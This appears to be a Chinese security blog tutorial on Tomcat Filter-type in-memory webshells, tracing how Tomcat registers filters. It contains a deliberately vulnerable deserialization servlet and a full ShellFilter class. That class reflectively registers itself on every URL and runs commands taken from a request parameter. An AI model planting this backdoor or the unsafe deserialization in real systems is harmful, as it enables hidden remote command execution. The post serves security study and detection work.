本篇主要学习针对Java容器的内存马技术,即无文件webshell,由于这些容器运行在内存中,因而也难以检测。Java容器的内存马大体上可以分为:
本篇具体内容为Tomcat容器下的Servlet型中的Filter内存马原理和利用方法,另外两个类型原理和Filter类似。Tomcat版本为10。(关于Servlet )。
什么是无文件webshell?
随着流量分析、EDR等技术的逐步发展,传统的比如文件上传绕过检测来投放文件型webshell 的手段已经不大行了,比如我们常见的一句话木马配合菜刀、冰蝎等,这些都需要将.php
、.jsp
等这种后门文件 上传到目标机器上。然而在机器学习技术的加持下,单纯这类文件的检测已经非常容易了,因此出现了无文件webeshell 的需求。
其核心原理:
利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门
无论是传统的Tomcat还是现行的Spring,他们底层上对用户请求的接收和处理,都会使用到Servlet技术 ,这是Java
Web的根。Servlet技术为我们提供了一些经典的组件——换言之即利用方式 :Servlet、Filter、Listener 。
因而Java无文件webshell攻击的分类,也就可以从两个技术角度去分类(抛开框架):
基于Servlet or Filter or Listener。动态地创建上述对象并RCE;
利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码实现RCE;
思想上无文件webshell其实我个人理解与传统的代码注入攻击是相似的。后者通过提前准备数据、创建remote线程、操作合法进程内存空间并执行恶意代码来实现。这个过程在内存中发生,我们的目的就是在一个合法进程中执行恶意代码 。
反观无文件webshell是类似的,我们同样要进入 一个用户请求的处理流程(一般为线程处理)、让这个流程中“动态的”插入我们的恶意代码并执行、并通过网络请求参数等办法操纵。整个过程和代码注入是很相似的。
下面以Tomcat
10.1.11为例子,结合CC利用链讨论一下攻击原理和利用过程。
关于Servlet
更多关于Servlet的开发细节可以移步我的文章:JavaEE基础 -
Servlet · float's blog (lzwgiter.github.io)
Servlet的角色和流程如下:
Servlet作为客户端和业务逻辑的中间层,接受客户端请求HttpServletRequest
、init()
创建一个servlet并执行service()
的代码逻辑,最后destroy()
销毁。其中service根据客户端不同的HTTP方法,对应有doGet()
、doPost()
、doPut()
等方法。
定义一个Servlet的方法是继承javax.servlet.http.HttpServlet
并覆写其中的对应的HTTP方法即可。
Servlet
3.0开始新增了对注解的支持,我们可以使用如@webServlet
、@webFilter
、@WebListener
等注解静态 地编写对应的Servlet
、Filter
、Listener
。
此外,我们也可以使用addServlet
、addFilter
、addListener
注解动态地 添加新的Servlet
、Filter
、Listener
。
也正是这一动态加载的手段为我们的利用留下了可能性。 具体来说,tomcat(版本10)中,这三个组件都是由jakarta.servlet.ServletContext
接口来加载的,具体实现类为org.apache.catalina.core.ApplicationContextFacade
:
而该接口中就定义了对应的方法来实现动态的注册:
能基于这玩意儿的原因是因为从Servlet
3.0开始他们提供了动态创建Servlet、Filter、Listener的方法,我也不知道这个的需求来自什么。。。
插一嘴,这里从具体实现类的名字后缀可以看出使用了设计模式中的外观模式(Facede) ,即将一个黑盒子进一步的包装提供接口以简化使用。后面代码调试中就可以看到其实际指向的是一个org.apache.catalina.core.Application
类:
我们先写一个简单的servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package f10at.webshell.web.servletdemo;import java.io.*;import jakarta.servlet.http.*;import jakarta.servlet.annotation.*;@WebServlet(value = "/hello") public class HelloServlet extends HttpServlet { public void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html" ); PrintWriter out = response.getWriter(); out.println("<html><body>" ); out.println("<h1>Hello</h1>" ); out.println("</body></html>" ); } }
启动后访问对应的path:
基于Filter
过滤器的作用主要是动态地拦截请求和响应,以变化或使用在请求或响应中地信息 ,可以实现以下目的:
在客户端的请求访问后端资源之前,拦截这些请求。
在服务器的响应发送到客户端之前,处理这些响应。
常见的由以下作用类型的过滤器:
身份验证过滤器(Authentication Filters)。
数据压缩过滤器(Data compression Filters)。
加密过滤器(Encryption Filters)。
触发资源访问事件过滤器。
图像转换过滤器(Image Conversion Filters)。
日志记录和审核过滤器(Logging and Auditing Filters)。
MIME-TYPE 链过滤器(MIME-TYPE Chain Filters)。
标记化过滤器(Tokenizing Filters)。
XSL/T 过滤器(XSL/T Filters),转换 XML 内容。
过滤器类的编写主要是实现了javax.servlet.Filter
接口,我们先写一个简单的Filter过滤器,并调试一下看看Tomcat是如何将它注册的。一个简单的Filter如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package f10at.webshell.web.servletdemo;import jakarta.servlet.*;import jakarta.servlet.annotation.WebFilter;import java.io.IOException;@WebFilter(value = "/hello") public class MyFilter implements Filter { @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Filter here!" ); filterChain.doFilter(servletRequest, servletResponse); } }
启动项目访问对应接口后,我们可以看到过滤器的效果:
FilterChain注册过程
为了便于理解利用方法,源码中filter的工作流程还是有必要过一下。在doFilter方法中增加断点,查看一下调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:17, MyFilter (f10at.webshell.web.servletdemo) internalDoFilter:174, ApplicationFilterChain (org.apache.catalina.core) doFilter:149, ApplicationFilterChain (org.apache.catalina.core) invoke:166, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:482, AuthenticatorBase (org.apache.catalina.authenticator) invoke:115, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:676, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:341, CoyoteAdapter (org.apache.catalina.connector) service:391, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:894, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1740, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:834, Thread (java.lang)
可以看到,在ApplicationFilterChain
这个类的174行调用了internalDoFilter
方法,在该方法中调用了filter的doFilter方法从而来到我们的代码中:
而这个filterChain则是由ApplicationFilterFactory
这个工厂类创建的:
从文档中可以看出,该类中注册了所有的Filter,依次调用功能doFilter
方法并传递请求和响应对象以触发下一个Filter的调用,最终到达service方法:
我们进一步查看一下createFilterChain
方法内容,大致上可以分为两部分:
新建ApplicationFilterChain对象
遍历FilterMap[],添加符合客户端请求的Filter到过滤链中
从文档中可以看出,该方法构造了一个FilterChain
接口的实例,其中包含了参数servlet
对应的所有的Filter。
代码中@WebFilter的value属性就在后面发挥了作用
拿到所有的Filters后,分两种情况对其进行添加:
若Filter的URL和当前请求的路径一致,则获取ApplicationFilterConfig
并将这个filter添加到filterChain中。
第二类情况,若这个Filter有设置ServletName
,则和当前访问的Servlet的名字一样,那么就添加到filterChain中:
可以在注解中使用servletNames
来使一个filter可以对应多个Servlet:
最终,所有容器中的Filters都处理完后,返回filterChain :
我们可以总结出Tomcat注册一个Filter并执行其逻辑的流程:
利用ApplicationFIlterFactory工厂类创建一个FilterChain
获取容器中所有的FilterMaps
遍历每一个FilterMap,判断是否与当前访问的URL模式匹配,是则添加到当前请求处理的FilterChain中
返回FilterChain
遍历FilterChain,取出FilerConfig中、FilterDef中的Filter,并调用其doFilter方法。
特点:每次客户端请求到达时,都会构造一个新的FilterChain对象并载入各个匹配的过滤器。
利用方法
根据上面的流程,思路很清晰,就是注册一个包含恶意代码的Filter到上述的ApplicationFilterChain
中。直观上,我们可以依靠ApplicationContextFacade
的addFilter
方法,但是只靠他是不够的 。
我们先阅读一下源码中addFilter
方法的具体逻辑,了解注册一个Filter的条件是什么 。
该方法由ServletContext
接口定义,并有三个重载:
三个方法第一个参数都是Filter的名称,第二个参数可以指定类名、第三个可以指定一个Filter接口的子类。因为是Facade外观模式,所以实际上他们三个本质上都是调用了ApplicationContext
对应的addFilter方法:
其中前三个重载都会调用第四个,所以我们直接看第四个就可以了:
image-20230808165211119
其中checkState
函数如下:
小结一下,这里存在两个困难点:
checkState
函数表明,当前容器状态必须为STARTING_PREP(准备启动状态) ,所以我们无法在Tomcat处于STARTED(已启动) 的运行时状态下直接利用。
这里只是将一个FilterDef
添加到了容器中,从上一小节的流程来看,单纯只是在容器中多了一个定义是没有用的,讲道理需要把它包装到FilterConfig
中并调用FilterChain
对象的addFilter
方法才能添加。
那怎么办?
对于问题1,我们可以利用反射获取到生命状态并进行修改。对于问题2,我们需要利用如下途径来解决:
在StandardContext
中有一个方法filterStart
:
该方法遍历所有的filter定义,并和其名称一起放入filterConfigs这个HashMap中。在这里,filterDef得到了包装 。
该方法在Tomcat启动时就被调用了,调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 filterStart:4302, StandardContext (org.apache.catalina.core) startInternal:4922, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) addChildInternal:683, ContainerBase (org.apache.catalina.core) addChild:658, ContainerBase (org.apache.catalina.core) addChild:713, StandardHost (org.apache.catalina.core) manageApp:1821, HostConfig (org.apache.catalina.startup) invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect) invoke:566, Method (java.lang.reflect) invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler) invoke:809, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver) createStandardContext:428, MBeanFactory (org.apache.catalina.mbeans) createStandardContext:376, MBeanFactory (org.apache.catalina.mbeans) ... 省略 ... runWorker:1128, ThreadPoolExecutor (java.util.concurrent) run:628, ThreadPoolExecutor$Worker (java.util.concurrent) run:834, Thread (java.lang)
到这里还没有结束,我们还需要为这个Filter绑定URL,因为对方显然不会再web.xml里写我们的filter,我们给自己的恶意filter带上@WebFilter
注解也没用(没有初始化)。因此,我们需要利用ApplicationFilterRegistration
的addMappingForUrlPatterns
方法:
因此,我们可以初步总结出思路了:
反射修改Tomcat运行状态为LifecycleState.STARTING_PREP
状态。
通过ApplicationContextFacade.addFilter
方法,添加我们的FilterDef
到容器中。
调用ApplicationFilterRegistration.addMappingForUrlPatterns
方法添加URL匹配模式。
修改回来Tomcat运行状态为LifecycleState.STARTED
。
调用StandardContext.filterStart
方法将我们的FilterDef
包装成为ApplicationFilterConfig
并放入容器中。
最后要考虑的问题就是如何拿到ApplicationContextFacade
,我们可以通过客户端请求ServletRequest
中获取。具体来说,在ApplicationFilterChain
中有两个threadlocal类:
默认情况下是不会初始化的:
而若我们通过反射将这个属性设置为true的话,那就可以拿到客户端请求对象了,从而获取到上下文。所以最终的思路总结如下:
反射获取到ApplicationFilterChain
的dispatcherWrapsSameObject
属性并修改为true。
反射获取到客户端请求对象。
反射获取到StandardContext
容器。
反射修改Tomcat运行状态为LifecycleState.STARTING_PREP
状态。
通过ApplicationContextFacade.addFilter
方法,添加我们的FilterDef
到容器中。
调用ApplicationFilterRegistration.addMappingForUrlPatterns
方法添加URL匹配模式,如/*
匹配所有请求。
修改回来Tomcat运行状态为LifecycleState.STARTED
。
调用StandardContext.filterStart
方法将我们的FilterDef
包装成为ApplicationFilterConfig
并放入容器中。
[可选]调用StandarConext.addFilterMapBedfore
方法将我们的恶意filter放到过滤链的第一个。
利用代码
根据上面的利用思路,我们可以基于Java的反射机制来实现一个恶意的Filter类,达到注册恶意后门路径并提供webshell的目的,且由于该webshell活动于tomcat内存中,也区别于基于文件的传统一句话webshell。
但是首先,我们先要有一个可用的反序列化漏洞点,然后反序列化包含我们上述利用方法代码的对象,才可以实现持久化后门的效果。
因此,这里用CC7链为基底进行改造,使其能够在反序列化之后实现内存马的目的。为了实验方便,我们在项目中引入CC
3.1,并写一个漏洞接口:
1 2 3 4 5 6 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package f10at.webshell.web.servletdemo.servlet;import jakarta.servlet.ServletException;import jakarta.servlet.annotation.WebServlet;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.ObjectInputStream;@WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().write("Using POST Method to Deserialize" ); } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { System.err.println(e); } resp.getWriter().write("Success" ); } }
ysoserial生成CC7 exp并在burpsuite修改hex发送后,可以看到效果:
(未完待续)
下面是一个根据上述利用方法思路的代码,本地环境实验待补充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package f10at.webshell.web.payload;import jakarta.servlet.*;import org.apache.catalina.core.StandardContext;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;public class ShellFilter implements Filter { static { try { Field dispatcherWrapSameObjectField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("dispatcherWrapsSameObject" ); dispatcherWrapSameObjectField.setAccessible(true ); dispatcherWrapSameObjectField.set(Boolean.class, true ); Field requestObject = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); requestObject.setAccessible(true ); ThreadLocal<ServletRequest> t = (ThreadLocal<ServletRequest>) requestObject.get(null ); ServletContext servletContext = t.get().getServletContext(); StandardContext standardContext; while (true ) { Field contextField = servletContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); Object o = contextField.get(servletContext); if (o instanceof jakarta.servlet.ServletContext) { servletContext = (jakarta.servlet.ServletContext) o; } else if (o instanceof org.apache.catalina.core.StandardContext) { standardContext = (org.apache.catalina.core.StandardContext) o; break ; } } Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state" ); stateField.setAccessible(true ); stateField.set(org.apache.catalina.LifecycleState.class, org.apache.catalina.LifecycleState.STARTING_PREP); Filter shellFilter = new ShellFilter (); FilterRegistration.Dynamic registration = servletContext.addFilter("f10at" , shellFilter); registration.setInitParameter("encoding" , "utf-8" ); registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false , "/*" ); stateField.set(org.apache.catalina.LifecycleState.class, org.apache.catalina.LifecycleState.STARTED); Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart" ); filterStartMethod.setAccessible(true ); filterStartMethod.invoke(standardContext); } catch (Exception e) { System.err.println(e); } } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd; if ((cmd = request.getParameter("f10at" )) != null ) { Runtime.getRuntime().exec(cmd); } chain.doFilter(request, response); } }
参考
JavaWeb 内存马基础
· 攻击Java Web应用-Java Web安全
查杀Java
web filter型内存马 | 回忆飘如雪 (gv7.me)
Filter/Servlet型内存马的扫描抓捕与查杀
| 回忆飘如雪 (gv7.me)